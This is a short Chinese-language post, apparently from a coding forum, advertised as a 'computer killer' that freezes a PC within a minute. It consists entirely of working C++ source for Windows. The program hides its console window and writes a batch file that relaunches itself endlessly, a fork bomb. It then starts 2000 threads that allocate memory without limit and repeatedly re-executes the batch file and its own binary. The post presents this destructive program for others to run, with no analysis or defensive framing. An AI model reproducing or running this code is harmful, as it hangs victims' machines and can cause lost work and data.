惊!!! 电脑杀手!!! 1分钟卡死!!!
惊!!! 电脑杀手!!! 1分钟卡死!!!
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#define CMDFN "1.bat"
DWORD WINAPI func(LPVOID)
{
long long *magic[80000];
while (true)
{
for (int i = 0; i < 80000; i++)
{
magic[i] = new long long;
}
malloc(10000);
}
}
void init(void)
{
char fn[1000];
char cmd[1000];
strcpy(fn, CMDFN);
strcpy(cmd, "echo off\ncls\n&@%0");
FILE*fd=fopen(fn, "w");
fputs(cmd, fd);
fclose(fd);
}
int main(int, char**argv)
{
HWND a=GetConsoleWindow();
ShowWindow(a, SW_HIDE);
init();
HANDLE t;
for(int i=0;i<2000;i++)
{
t=CreateThread(NULL, 0, func, NULL, 0, NULL);
ShellExecute(NULL, "open", CMDFN, NULL, NULL, SW_HIDE);
ShellExecute(NULL, "open", *argv, NULL, NULL, SW_HIDE);
}
WaitForSingleObject(t, 10000000);
}
完结,撒花🎉 ~~求赞qwq